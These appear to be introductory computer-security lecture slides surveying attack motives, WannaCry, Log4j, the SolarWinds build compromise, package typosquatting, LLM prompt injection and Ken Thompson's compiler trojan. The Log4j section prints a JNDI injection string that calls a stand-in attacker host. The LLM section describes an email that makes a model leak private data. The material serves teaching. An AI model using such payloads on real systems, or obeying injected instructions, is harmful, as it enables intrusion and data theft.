01 Intro
01 Intro
Course overview
The computer security problem
• Lots of buggy software
source: https://www.cvedetails.com/top-50-products.php?year=2023
Distribution of exploits used in attacks
Java
Android
Browser Office
What motivates
attackers?
…
Why compromise end user machines?
1. Steal user credentials
keylog for banking passwords, corporate passwords, gaming pwds
Example: SilentBanker (and many like it)
• How installed?
– Android pre-2017: links in SMS / links in E-mail
– iOS and Android post 2017: physical access
Why own machines: 2. Ransomware
a worldwide problem
• Worm spreads via a vuln.
in SMB (port 445)
• Apr. 14, 2017: Eternalblue vuln.
released by ShadowBrokers
• May 12, 2017: Worm detected
(3 weeks to weaponize)
WannaCry ransomware
Why own machines: 3. Bitcoin Mining
# affected users
Examples:
1. Trojan.Win32.Miner.bbb
2. Trojan.Win32.Miner.ays
3. Trojan.JS.Miner.m
4. Trojan.Win32.Miner.gen
The bug: Log4j can load and run code to process a log request
attacker victim
message containing: ${jndi:ldap://attacker.com}
log.info(“…
LDAP query then HTTP GET ${jndi:ldap://attacker.com}…”)
Malicious Java code
execute code
The result
sunburst SolarWinds
⋮
Orion
malware software orion
Customer 18000
update
Attack (Feb. 20, 2020): attacker corrupts SolarWinds software update process
Large number of infected orgs … not detected until Dec. 2020 .
Sunspot: malware injection
How did attacker corrupt the SolarWinds build process?
• taskhostsvc.exe runs on SolarWinds build system:
– monitors for processes running MsBuild.exe (MS Visual Studio),
– if found, read cmd line args to test if Orion software being built,
– if so:
• replace file InventoryManager.cs with malware version
(store original version in InventoryManager.bk)
• when MsBuild.exe exits, restore original file … no trace left
Security considerations?
Security considerations: dependencies
Every package you install creates a dependence:
• Package maintainer can inject code into your environment
• Supply chain attack:
attack on package maintainer ⟹ compromise dependent projects
Many examples:
https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/
A recent example: xz Utils
• An open source compression utility on Github
Examples:
• urllib3: a package to parse URLs. Malware package: urlib3
• python-nmap: net scanning package. Malware package: nmap-python
From 2017-2020:
• 40 examples on PyPI of malware typo-sqautting packages
[Meyers-Tozer’2020]
Case study 3: Large Language Models
Every new technology brings new avenues for attacks
• Example: attacking LLMs via prompt injection
incoming
email
automated
response
mail server
Prompt injection attacks
LLMs can be vulnerable to adversarial inputs
⇒ an adversarial incoming email
can cause LLM to send back its
training data (private emails)
hidden instructions
An example:
image-based prompt injection
Source: https://arxiv.org/pdf/2307.10490v4.pdf
Introduction
https://bughunters.google.com/
Marketplace for Exploits
Option 1: bug bounty programs (many)
• Google Vulnerability Reward Program: up to $31,337
• Microsoft Bounty Program: up to $100K
• Apple Bug Bounty program: up to $200K
• Stanford bug bounty program: up to $1K
• Pwn2Own competition: $15K
Option 2:
• Zerodium: up to $2M for iOS, $2.5M for Android (since 2019)
• … many others
Marketplace for Exploits
https://zerodium.com/temporary.html
Why buy 0days?
https://zerodium.com/faq.html
Ken Thompson’s clever Trojan
Turing award lecture
(CACM Aug. 1984)
compile(s) {
if (match(s, “login-program”)) {
compile(“login-backdoor”);
return
}
/* regular compilation */
}
What to do?
Solution: inspect compiler source code,
then recompile the compiler
THE END